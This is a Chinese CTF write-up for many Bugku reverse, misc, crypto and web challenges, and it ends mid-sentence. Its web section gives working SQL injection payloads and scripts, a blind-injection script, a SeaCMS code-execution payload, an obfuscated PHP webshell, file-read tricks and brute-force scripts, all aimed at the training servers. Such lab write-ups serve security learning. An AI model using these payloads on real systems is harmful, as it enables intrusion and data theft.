BUGKU writeup

原创

CHOOOU 于 2018-08-06 21:51:44 发布 6886 收藏 1

分类专栏： CTF 文章标签： bugku writeup up

Reverse

easy_vb

在数据里有明显的 flag

easy_re

flag 在数据段躺着，将十六进制转换成字符就行了

游戏过关

解题有好几种方式

1. 搜done，看到一个函数sub_45E940，F5，分析函数的内容，当然我不是这样做的，感觉麻烦
2. 修改程序逻辑，使得输入任意数直接弹flag，搜索loc_45F5B7，这个函数是判断是否满足灯全亮什么的，往下滑，下一个loc是返回输入n=什么什么的，把他修改成call sub_45E940，这样不论输入什么都会出现flag。
   但是当你运行修改后的程序时，会闪退，聪明的你肯定想到了从命令行运行啦
3. 这是一个游戏，那你就好好玩游戏喽，输入n呗。
   正解是从1输到8,别问我怎么知道的，我乱输的

Timer

https://blog.csdn.net/qq_29343201/article/details/51649962

逆向入门

你敢信这是一张图片？base64解码看看吧，然后扫描二维码

love

发现将输入的字符串base64编码之后，再将字符串中的每个字符加上索引值，与 e3nifIH9b_C@n@dH 比较

```
string = 'e3nifIH9b_C@n@dH'
s = ''
for index in range(len(string)):
 s += chr(ord(string[index]) - index);
print(s)
```

代码求出正确的值，再解码即可

LoopAndLoop

看这个题目名字就知道很多循环
用 jeb 打开，关键地方就是这儿:

```
    if(MainActivity.this.check(v1, 99) == 1835996258) {
        this.val$tv1.setText("The flag is:");
        this.val$tv2.setText("alictf{" + MainActivity.this.stringFromJNI2(v1) + "}");
    }
    else {
        this.val$tv1.setText("Not Right!");
    }
```

stringFromJNI2 过于复杂不用分析；
check 函数调用 native 函数 chec，用 ida 打开 libs/armaebi/liblhm.so 找到
Java_net_bluelotus_tomorrow_easyandroid_MainActivity_chec 函数，精简化得到：

```
int chec(int a1, int a2, int a3, int a4)
{
  v5 = (*(int (**)(void))(*(_DWORD *)a1 + 24))();
  v10 = _JNIEnv::GetMethodID(a1, v5, "check1", "(II)I");
  v11 = _JNIEnv::GetMethodID(a1, v5, "check2", "(II)I");
  v12 = _JNIEnv::GetMethodID(a1, v5, "check3", "(II)I");
  if ( a4 <= 1 )
    result = a3;
  else
    result = _JNIEnv::CallIntMethod(a1, a2, *(&v10 + 2 * a4 % 3));
  return result;
}
```

*(&v10 + 2 * a4 % 3) 就是来从 check1 check2 check3 中选择调用哪一个函数，而这三个函数都需要两个 int 参数，这两个参数该从哪传递呢？很明显，第一个是通过 R3，第二个是栈；
因此我们不能完全相信 ida，它并不能判断 check1 等需要几个参数； 所以要分析汇编代码；

让 ida 显示栈指针：

```
.text:00000E92 040                 STR     R3, [SP,#0x40+var_30] ; [SP,#0x40+var_30] = R3 = s
                           ......
.text:00000ED8 040                 LDR     R6, [SP,#0x40+var_30] ; R6 = s
                           ......
.text:00000EDC 040                 SUBS    R6, #1                ; R6--
                           ......
.text:00000EF2 040                 STR     R6, [SP,#0x40+var_40] ; [SP,#0x40+var_40] = R6
.text:00000EF4 040                 LDR     R1, [SP,#0x40+var_2C]
.text:00000EF6 040                 LDR     R3, [SP,#0x40+var_34]
.text:00000EF8 040                 BL      _ZN7_JNIEnv13CallIntMethodEP8_jobjectP10_jmethodIDz ; _JNIEnv::CallIn
tMethod(_jobject *,_jmethodID *,...)
```

EF2 行的代码将 R6 的值存储到 [SP,#0x40+var_40]，var_40 恰好是 -0x40，因此偏移为 0，就是 R6 存到栈顶，即要被传递的第二个参数；而 R6 是什么呢，是 chec 的第四个参数 s；也就是每调用一次 chec，参数 s 都要减一；

三个 check 的逻辑也很简单，check1 将 input 加 4950，check2 将 input 加或减 499500，check3 将 input 加 49995000；给出脚本：

```
r = 0

for i in range(99, 1, -1):
 p = 2 * i % 3
 if(p == 0):
  r += 4950
 if(p == 1):
  if((i - 1) % 2 == 0):
   r += 499500
  else:
   r -= 499500
 if(p == 2):
  r += 49995000

print(1835996258 - r)
```

其输出便是答案

mountain climb

很简单，不想写wp，https://blog.csdn.net/cossack9989/article/details/78758285 看看这个吧，不过他的算法有些麻烦。
最近算法课讲动态规划，做了一个几乎一模一样的题目，分享一下算法：

```
s=[
[77],
[5628, 6232],
[29052,1558, 26150],
[12947,29926,11981,22371],
[4078, 28629,4665, 2229, 24699],
[27370,3081, 18012,24965,2064, 26890],
[21054,5225, 11777,29853,2956, 22439,3341],
[31337,14755,5689, 24855,4173, 32304,292,  5344],
[15512,12952,1868, 10888,19581,13463,32652,3409, 28353],
[26151,14598,12455,26295,25763,26040,8285, 27502,15148,4945],
[26170,1833, 5196, 9794, 26804,2831, 11993,2839, 9979, 27428,6684],
[4616, 30265,5752, 32051,10443,9240, 8095, 28084,26285,8838, 18784,6547],
[7905, 8373, 19377,18502,27928,13669,25828,30502,28754,32357,2843, 5401, 10227],
[22871,20993,8558, 10009,6581, 22716,12808,4653, 24593,21533,9407, 6840, 30369,2330],
[3,    28024,22266,19327,18114,18100,15644,21728,17292,8396, 27567,2002, 3830, 12564,1420],
[29531,21820,9954, 8319, 10918,7978, 24806,30027,17659,8764, 3258, 20719,6639, 23556,25786,11048],
[3544, 31948,22,   1591, 644,  25981,26918,31716,16427,15551,28157,7107, 27297,24418,24384,32438,22224],
[12285,12601,13235,21606,2516, 13095,27080,16331,23295,20696,31580,28758,10697,4730, 16055,22208,2391, 20143],
[16325,24537,16778,17119,18198,28537,11813,1490, 21034,1978, 6451, 2174, 24812,28772,5283, 6429, 15484,29353,594
2],
[7299, 6961, 32019,24731,29103,17887,17338,26840,13216,8789, 12474,24299,19818,18218,14564,31409,5256, 31930,268
04,9736]]

for i in range(0, 20):
 for j in range(0, 20):
  if j <= i:
   print("%-6d" % s[i][j], end=' ')
 print('')
print('\n')

# i 为行， j 为列
for i in range(1, 20):
 for j in range(0, 20):
  if j <= i:
   if j == 0:
    s[i][j] += s[i - 1][j];
   elif j == i:
    s[i][j] += s[i - 1][j - 1];
   else:
    s[i][j] += max(s[i - 1][j], s[i - 1][j - 1]);

for i in range(0, 20):
 for j in range(0, 20):
  if j <= i:
   print("%-6d" % s[i][j], end=' ')
 print('')
print('\n')

MAX = 0
for i in range(20):
 if s[19][i] > MAX:
  MAX = s[19][i]

print(MAX)
```

可以从上往下走（也可以从下往上走），走到每一行，要对其中每一列的 s[i][j] 求最大，其增加值只有两个来源，要么是正上方 s[i - 1][j]，要么是左上方 s[i - 1][j - 1]；经过一步步递推，最终最大值就存储在 s[19][i] 中，只需遍历一遍就可以找到。

Take the maze

https://blog.csdn.net/qq_19861715/article/details/79403986
这个博客很详细

MISC

这是一张单纯的图片么

soeasy

隐写2

修改png的长度，在IHDR后面第五个起到第八个，具体百度

telnet

soeasy 自己找

又一张图片，还单纯吗？？

用binwalk跑一下，发现两张图片哦，可以看到第二张图片的偏移地址，将此地址之前的数据全部删除，保存，打开图片即可看到答案

多种方法解决

base64转图片

猜？

脑洞题，这张图是用QQ截的图，猜猜图片上的人是谁

宽带信息泄露

用routerpassview打开，搜索user

图片又隐写

binwalk发现此图是rar，解压有flag.rar，管他是什么密码都提示三位了，那就爆破，不到半秒出结果，flag在3.jpg的最后，注意base64解码

linux???

跟linux有啥关系啊，直接搜索key（其实我是用kali看的，翻着翻着找到了key = =）

中国菜刀，不再web里？

wireshark打开，在第三个http报文中找到菜刀的一句话木马，.在下一个http报文中，base64解码

```
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X
@Y");$F="C:\\wwwroot\\flag.tar.gz";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERR
OR:// Can Not Read');};echo("X@Y");die();
```

我们得到的就是flag.tar.gz的数据，右键显示分组字节，右下角调节从3字节开始，因为x@y是echo的，左下角为解码为压缩。发现flag

这么多数据包

再来一道隐写

发现图片很细长，怀疑是压缩了长度
文件头数据块IHDR(header chunk)：它包含有PNG文件中存储的图像数据的基本信息，并要作为第一个数据块出现在PNG数据流中，而且一个PNG数据流中只能有一个文件头数据块。
文件头数据块由13字节组成，它的格式如下，Width 4 bytes 图像宽度，以像素为单位，Height 4 bytes 图像高度，以像素为单位。。。只要修改高度足够大就行了。

想蹭网先解开密码

使用ewsa暴力破解，但是首先需要写个密码文件。

```
#1391040**
head = 13910400000

f = open('password.txt','w')
for i in range(10000):
 password = head + i
 f.write(str(password) + '\n')
```

linux基础1

notepad打开直接搜key

细心的大象

binwalk跑一下，发现有rar，winhex打开，把该偏移地址之前的数据都删掉，然后另存为rar，解压发现有密码，尝试暴力破解。。。。
突然想到大象那张图片上有个备注，base64解码，嘻嘻嘻?解开了。
这个图片一点信息都没有啊，于是又想到了是长度不够，改了长度，就有flag了 (●’◡’●)

账号被盗了

点击getflag观察报文，把isadmin改成true提交，下载123.exe，wireshark拦截包，找到smtp协议，base64解码，看到发送地址的账号和密码，登陆该邮箱即可

MISC 图穷匕见

winhex打开，发现文件后有一串奇怪的数字和字母，复制出来十六进制解码是一些坐标
然后就想到了二维码，写py跑呗

```
matrix = [[0 for i in range(7,272)] for i in range(7,272)]
f = open('erwei.txt','w')
z = open('zuobiao.txt','r')
for i in range(7,272):
 for j in range(7,272):
  matrix[i-7][j-7] = 0

zuobiao = z.read().replace('(','').replace(')','').split('\n')
for zb in zuobiao:
 zb = zb.split(',')
 matrix[int(zb[0])-7][int(zb[1])-7] = 1

f.write(str(matrix).replace('[[','').replace(']]','').replace('], [','\n').replace(',',''))
```

convert

不想用winhex，不好使，把这些10转换成十六进制，用010editor写入十六进制文件，保存为rar，解压，右键属性，在主题找到flag，base64解码

```
bin = 0b01010010011000001.............. #此处省略一万字
print hex(bin)
```

听首音乐

如果你使用耳机，你的耳朵一定备受煎熬，怎么左声道不出声，右声道这么洗脑呢？听到最后你会发现有滴滴答，没错就是摩斯密码了，推荐用audition打开，你会在左声道发现答案的

好多数值

这些数是RGB

```
#coding:utf-8
num = int(raw_input("请输入要分解的数："))

temp = []
while num!=1:
    for i in range(2,num+1):
        if num%i == 0:
            temp.append(i)
            num /= i
            break
print temp
```

把61366分解成102 * 503，

```
from PIL import Image
f = open('C:\\Users\\Administrator\\Desktop\\misc100.txt','r')
length = 503
width = 122
img = Image.new("RGB",(length, width))

for i in range(length):
 for r in range(width):
  l = f.readline().replace('\n','')
  l = l.split(',')
  #print l[0]
  img.putpixel((i,r),(int(l[0]),int(l[1]),int(l[2])))
img.show()
```

俄罗斯套娃

zip伪加密，我早该明白的，之前破解出密码却不能用
然后解压出三个，首先分析key.txt，曼彻斯特解码（01是1，10是0），把文本字体缩小，就是一个二维码，扫描结果是http://47.93.205.124/d39ed8ea9184468644ed90dd20b10cc5.html，md5解密一下manchesite，但是打不开，没法做了！！！！！！！！！
看的wp，页面上有个损坏的base32，把他修复并解码，就是flag.rar的密码

小明的电脑

好多压缩包

文件是68个压缩包，并且根据binwalk的检查结果，每个压缩包里都有一个大小为4个字节，名为out.txt的压缩文件，这个题用CRC32碰撞
CRC32: CRC本身是“冗余校验码”的意思，CRC32则表示会产生一个32bit（8位十六进制数）的校验值，在产生CRC32时，源数据块的每一位都参与了运算，因此即使数据块中只有一位发生改变也会得到不同的CRC32值，利用这个原理我们可以直接爆破出加密文件的内容

```
#coding:utf-8
import zipfile
import string
import binascii

def CrackCrc(crc):
    for i in dic:
        for j in dic:
            for p in dic:
                for q in dic:
                    s = i + j + p + q
                    if crc == (binascii.crc32(s) & 0xffffffff):
                        #print s
                        f.write(s)
                        return

def CrackZip():
    for I in range(68):
        file = 'out' + str(I) + '.zip'

        f = zipfile.ZipFile(file, 'r')
        GetCrc = f.getinfo('data.txt')
        crc = GetCrc.CRC
        #以上3行为获取压缩包CRC32值的步骤
        #print hex(crc)

        CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='

f = open('out.txt', 'w')
CrackZip()
f.close()
```

在 Python 2.x 的版本中，binascii.crc32 所计算出来的 CRC 值域为[-2^31, 2^31-1] 之间的有符号整数，为了要与一般CRC 结果作比对，需要将其转为无符号整数，所以加上& 0xffffffff来进行转换。如果是 Python 3.x 的版本，其计算结果为 [0, 2^32-1] 间的无符号整数，因此不需额外加上& 0xffffffff

根据碰撞出内容的格式（末尾两个==）推断这段数据是base64编码过的，先解码，根据解码结果中的flag.txt推断这可能是一个压缩包，同时根据fix the file and get the flag知需要修复文件，将解码后的文件导入16进制编辑器（如010editor），观察数据，发现存在rar的文件尾C43D7B00400700，但缺少文件头，于是补上rar的文件头526172211A0700

根据rar的文件结构可以看出还存在一个名为CMT的文件，CMT即为comment，即为注释，flag就在注释里

一个普通的压缩包

zip.rar解压，有个flag.txt，把zip.rar改成zip.zip（改后缀名），解压有个“一个普通的压缩包”的文件夹，里面有flag.rar，解压又有一个flag.txt。

用winhex查看zip.rar，发现有一个secret.png并没有解压出来，用winRAR会提示header错误

然后进行了很多尝试，终于第二天早上成功了，把secret.png的文件头 A83C7A 改成 A83C74，这样解压出这个图片了

解压出来发现是个gif！！！！！！

然后我就想改变宽高比，但是不太管用，我是按照网上的一些格式分析改的，不可行，但是我一不小心把原本一个byte的宽高比改成了两个byte，居然行了，显示了二维码

然后我就用ps修复了图片，让其有三个定位点，然后扫描就行了哈哈哈

看到这你一定蒙蔽了，但是我们可以解析一下为什么这样做就是对的。

47 49 46 38 39 61 18 01 18 01 91 02 00 FE FF FF FF FF FF FF FF FF 00 00 00 21 FF 0B 58 4D 50 20 44 61 74 61 58
前六个字节是gif89a，后四个是长宽，91是逻辑屏幕描述块，02背景颜色索引，00宽高比，后面一大串FE FF FF FF FF FF FF FF FF 00 0
0 是全局颜色列表（不全），00应该是用来截开之后的adode的数据（我猜的），为什么说全局颜色列表不全呢？ 跟91有关，91的二进制10010
001，具体作用查看格式分析，彩色表的表项数目等于2(n +1)，其中n=b2b1b0，每个表项由3个字节组成，分别代表RGB的相对强度，因此彩色
表的字节数就等于3×2(n +1)，所以需要十二位的全局颜色列表，补00就行了，比如91 02 00 00 00 00 00 FE FF FF FF FF FF FF FF 0
0 21 FF

妹子的陌陌

binwalk跑出一个rar，有密码，密码是： 喜欢我吗. 没错，就是图片上的文字！！！
摩斯密码解密，然后有一个网址，可以用来解密，然后还
有http://c.bugku.com/U2FsdGVkX18tl8Yi7FaGiv6jK1SBxKD30eYb52onYe0=，把密文AES揭秘，密钥已给出，然后进入该网址，二维码扫一扫就行了

就五层你能解开么

crc32碰撞
题目给的压缩包，很明显是考察crc32碰撞，每个是6字节，本来上脚本跑，但太慢了，上工具：https://github.com/theonlypwner/crc32

维吉尼亚密码
猜测 rla 是 the，于是找到了两个key，都试一下，

```
import string

data = 'rla xymijgpf ppsoto wq u nncwel ff tfqlgnxwzz sgnlwduzmy vcyg ib bhfbe u tnaxua ff satzmpibf vszqen eyvl
atq cnzhk dk hfy mnciuzj ou s yygusfp bl dq e okcvpa hmsz vi wdimyfqqjqubzc hmpmbgxifbgi qs lciyaktb jf clntkspy
 drywuz wucfm'.replace(' ','')
oldkey = 'YEWCQGEWCYBNHDHPXOYUBJJPQIRAPSOUIYEOMTSV'
key = ''
for i in oldkey:
 key += chr(ord(i) + 32)
print key

#flag列，key行 = data
flag = ''

for i in range(0,len(data)):
 tmp = 0
 tmp = ord('z') - ord(key[i%len(key)]) + ord(data[i]) - ord('a') + 1
 flag += chr(tmp % 26 + 97)
print flag
```

3. sha1 碰撞

```
import hashlib,string
#*7*5-*4*3?
#619c20c*a4de755*9be9a8b*b7cbfa5*e8b4365*
str = ''
dic = string.printable
for i in dic:
 for j in dic:
  for k in dic:
   for l in dic:
    str = i + '7' + j + '5-' + k + '4' + l + '3?'
    sha1 = hashlib.sha1(str).hexdigest()
    if (sha1[0:7] == '619c20c' and sha1[8:15] == 'a4de755' and sha1[16:23] == '9be9a8b' and sha1[24:31] == 'b7cb
fa5' and sha1[32:39] == 'e8b4365'):
     print str + ' !!!!!!'
```

MD5

http://blog.csdn.net/liangkwok/article/details/7441867

RSA

不会！！！！！！！！

WEB

签到

略

web2

略

文件上传测试

上传php文件，把文件类型concent-type改成image/jpeg

计算题

把提交的button的maxlength修改下

web基础get

地址栏添加?what=flag

web基础post

```
import requests
res = requests.post('http://120.24.86.145:8002/post/',data={'what':'flag'});
print res.text
```

或者修改报文，报文名post，content-type:application/x-www-form-urlencoded，参数what=flag

矛盾

?num=1waefw

web3

so easy

```
s='&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&
#73;&#125;'.replace('&#','').split(';')
d=''
for i in s:
 d+=chr(int(i))
print d
```

域名解析

win下 系统盘/Windows/System32/drivers/etc/hosts
linux /etc/hosts
添加一行， `123.206.87.240 flag.bugku.com`
或者在访问 123.206.87.240 时修改 Host 字段为 flag.bugku.com

你必须让他停下

用burp抓包，在响应中就可以看到flag

本地包含

```
include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
```

重要的代码就是这三行，我们可以构造代码读取flag.php里的数据，想到了file_get_contents，“望文生义”即可知该函数是读取文件的命令。
这是该函数的用法string file_get_contents (string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen]]]])
file_get_contents(“flag.php”) 能显示string的长度，但是无回显，可能是对长度进行了限制
file_get_contents(“flag.php”,NULL, NULL,60)

其实还可以这样 file(‘flag.php’) ,file()类似与file_get_concents，不同的是以数组形式返回

还有一种方法显得过于麻烦了，我就记一下：
hello = 1);var_dump(file_get_contents($_POST[‘f’]));//
请求参数 f=php://filter/read=convert.base64-encode/resource=flag.php
还要修改GET为POST，另外加上Concent-Type，Content-Type: application/x-www-form-urlencoded

变量1

正则表达式/^\w+$/：开头匹配字母数字或下划线一次或多次并立即结尾
另外注意到是 $$args，
$$str 可以理解为 $($str)，$str =“cd”，那么就是$cd = $$str = “landog”;
然后我就想到了php超级全局变量，随便搜了一个’GLOBALS’就找到了flag
感觉_POST也行，没试

web5

jsfuck

头等舱

burp抓包

网站被黑

御剑扫出 shell.php，进入用burp爆破密码，即可得到 flag

管理员系统

查看元素发现最后有个 base64 编码的字符串，解码之后猜测他是密码。猜测用户名 admin，提交时添加 X-Forwarded-For 为 127.0.0.1，即本机地址。

Web4

十六进制转码

```
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
/*
function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return !0;
        alert("Error");
        a.focus();
        return !1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
*/
```

我不是很懂这段代码啥意思，直接提交67d709b2b54aa2aa648cf6e87a7114f1就好了@_@

flag在index里

file=php://filter/read=convert.base64-encode/resource=index.php

输入密码查看flag

脚本跑就行了

```
#coding:utf-8
import requests
host = 'http://123.206.87.240:8002/baopo/?yes'
for i in range(0,100000): #万一出现错误，可以修改range，从出错的位置开始
 passwd = str(i).zfill(5)
 print(passwd)
 res = requests.post(host, data={'pwd':passwd})
 if  bytes('密码不正确，请重新输入', encoding = "utf-8") in res.content :
  continue
 else:
  print(res.text)
  break
```

点击一百万次

查看 js 之后，发现其功能很简单，我们只要模拟它的功能就行了，在html中添加以下几行：

```
<form action="" method="post">
      <input type="text" name="clicks" value="1000000"/>
      <input type="submit" value="Submit">
     </form>
```

然后点击 submit 就行了。

成绩单

手写爆破：

```
import requests
host = 'http://123.206.87.240:8002/chengjidan/index.php'

str1 = "' or substring((select schema_name from information_schema.schemata limit "
str2 = ",1),"
str3 = ",1)='"
str4 = "';-- "

for i in range(0, 15):
 for j in range(1, 15):
  for k in range(48,123):
   payload = str1 + str(i) + str2 + str(j) + str3 + chr(k) + str4
   #print(payload)
   res = requests.post(host, data={'id':payload})
   #print(len(res.content))
   if len(res.content) == 1224:
    print(chr(k), end='')
    break
 print('\n',end='')
```

这样可以爆破出 schema，然后再爆破表就行了，不再写了，类似

更简单的手写注入：

```
' union select 1,2,3,group_concat(schema_name) from information_schema.schemata;#

' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema like '%SKCTF_FLA
G%';#

' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g';#

' union select 1,2,3,group_concat(skctf_flag) from fl4g ;#
```

SQLmap：

不知道为什么这个不可以

```
sqlmap -u http://120.24.86.145:8002/chengjidan/index.php --forms --dump --batch
```

但是这个可以，burp.txt 是burp抓的包：

```
sqlmap -r burp.txt --batch --dump
```

sql注入

大家都这么厉害的么，我看了wp才会做的，但是那人非常不详细，我来详细写一下。
看源代码发现，那就是宽字节注入喽
id=1' 没有反应，可能是\进行了转义
id=1%df%27 提示错误，根据gbk编码，第一个字节ascii码大于128，他认为两个字节代表一个汉字，所以%df和后面的\也就是%5c变成了一个汉字“運”，而'逃逸了出来，看到出错说明可以注入了。(实际上GB2312并没有df5c对应的汉字)
select databas() 获库名
id=1%df%27union%20select%201,string%20from%20sql5.key%23
http://www.cnblogs.com/lcamry/articles/5625276.html

看了博客写的，可能PHP连接MySQL的字符编码为gbk吧。另外默认地，PHP对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

sql注入1

```
http://103.238.227.13:10087/?id=2 uni<a>on sel<a>ect group_concat(tab<a>le_name),1 fro<a>m info<a>rmation_schema
.ta<a>bles whe<a>re ta<a>ble_schema=database()

http://103.238.227.13:10087/?id=2 uni<a>on sel<a>ect group_concat(column_name),1 fro<a>m info<a>rmation_schema.c
olumns whe<a>re ta<a>ble_name="key"

http://103.238.227.13:10087/?id=2 uni<a>on sel<a>ect hash,1 fro<a>m sql3.key  //可能因为查询了两个表，所以要加 .
```

phpcmsV9

去论坛下个工具，然后用菜刀连上就行了

海洋cms

网上搜海洋cms漏洞一大堆，这儿写一下payload
searchtype=5&searchword=
{if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=
(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=pr&int_r(glob("*.txt"));

searchtype=5&searchword=
{if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=
(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=va&9[]=r_dump(file_get_contents(“flag32#.txt”));

前女友

php真的是世界上最好的语言，漏洞很多。。。。。点开“链接”，

```php
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
```

乍一看，找相同md5的不同字符，还要与flag变量相同才返回，实则MD5和strcmp都存在漏洞，MD5和strcmp没法很好的处理数组，构造http://47.93.190.246:49162/?v1[]=1&v2[]=2&v3[]=3
PHP渗透中的奇淫技巧–检查相等时的漏洞http://www.cnblogs.com/wh4am1/p/6687199.html

javascript

查看script，直接写脚本post即可

```python
import requests
host = 'http://120.24.86.145:9001/test/'
resp = requests.post(host, data={'clicks' : 1000000})
print resp.text.encode('gbk','ignore')
```

cookies欺骗？？

filename base64解码是keys.txt，把index.php base64加密，然后提交。没有反应？加上line=1。
然后写个脚本就能读出文件内容。

```
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
```

源码都有了，就不罗嗦了

XSS

打我我也不知道提交参数是id，这个题过滤了<>，所以用unicode编码绕过 payload：

```
id=\u003cscript\u003ealert(_key_)\u003c/script\u003e
```

never give up

这题必须用burp拦截，发现隐藏1p.html，进入，拦截时查看html代码

```
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTN
CaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRml
kJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0Q
lMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjc
uJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTI
wJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXR
hJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGV
uJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTI
wYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSU
zQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSU
yMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
.....略
```

那一串字符是base64编码的，别忘了最后两个等号（其实不要紧），解码后，再url解码，发现hello.php的源码

php认定0e开头的 == 0， php://input 绕过file_get_contents， 星号或问号或.点号绕过正则表达式的匹配

payload： http://120.24.86.145:8006/test/hello.php?id=0e123&a=php://input&b=*23456
postdata： bugku is a nice plateform!

welcometobugkuctf

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php&password=2 利用php://input 和 php://filter 读出各文件的内容，POST的数据中写welcome to the bugkuctf

index.php:

```php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "??????????????????????flag???";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
 <!--
 $user = $_GET["txt"];
 $file = $_GET["file"];
 $pass = $_GET["password"];
 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
 echo "hello admin!<br>";
 include($file); //hint.php
 }else{
 echo "you are not admin ! ";
 }
 -->
```

hint.php:

```php
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
 if(isset($this->file)){
  echo file_get_contents($this->file);
  echo "<br>";
  return ("good");
 }
}
}
?>
```

preg_match("/flag/",$file)，想要读出flag.php是不可以的，但是我们可以构造password的序列化，include($file) 将 hint.php 包含进来，其中有个 __tostring()

```
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";
}
```

login1

sql约束攻击

过狗一句话

```
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
```

$poc_2 是 assert
我以前不知道assert还能执行命令的，还能回显?
payload : ?s=var_dump(glob("."))

小明的博客

传送门

各种绕过哦

以前做过一个差不多的，我用浏览器改包，地址栏填写?uname[]=1&id=margin，GET改成POST，在header添加Content-Type: application/x-www-form-urlencoded;

web8

http://120.24.86.145:8002/web8/?ac=123&fn=php://input
php://input 绕过，post data填123

字符正则？

按照规则匹配即可 http://www.cnblogs.com/hellohell/p/5718319.html
我的payload：id=key1key1key1key1key1key:/1/1keya:punct:

考细心

有robots.txt文件，打开，里面是另一个php文件，要求输密码，根据提示猜测是admin，得到flag

求getshell

文件后缀php5，报文的 content-type ： mUltipart/form-data; 大写绕过，表单的 content-type：image/jpeg即可

flag.php

提示hint，但是为虾米我想不到是get hint呢？
在地址栏输入?hint=1，看到源码，反序列化cookie即可，但注意这是$KEY并未定义，所以"$KEY"并不是 lSecer:www.isecer.com ，而是为空
所以payload=s:0:""

web15

总觉得在哪里做过呢?就是用x-forwarded-for实现sql注入
不能回显，只能尝试基于时间盲注

```
import requests
import string
url="http://120.24.86.145:8002/web15/"
allString=string.digits + string.letters
flag=""

for i in range(1,33):
 for str1 in allString:
  data="11' and (select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else
 1 end ) );#".format(str(i),str1)
  print data
  headers={"x-forwarded-for":data}
  try:
   res=requests.get(url,headers=headers,timeout=4)
  except requests.exceptions.ReadTimeout, e:
   flag += str1
   print flag
   break
  except:
   continue
print 'flag:' + flag
```

关键的payload：11’ and (select case when (substring((select flag from flag) from {0} for 1)=’{1}’) then sleep(4) else 1 end));#
如何得知表和列的呢？ payload分别为：

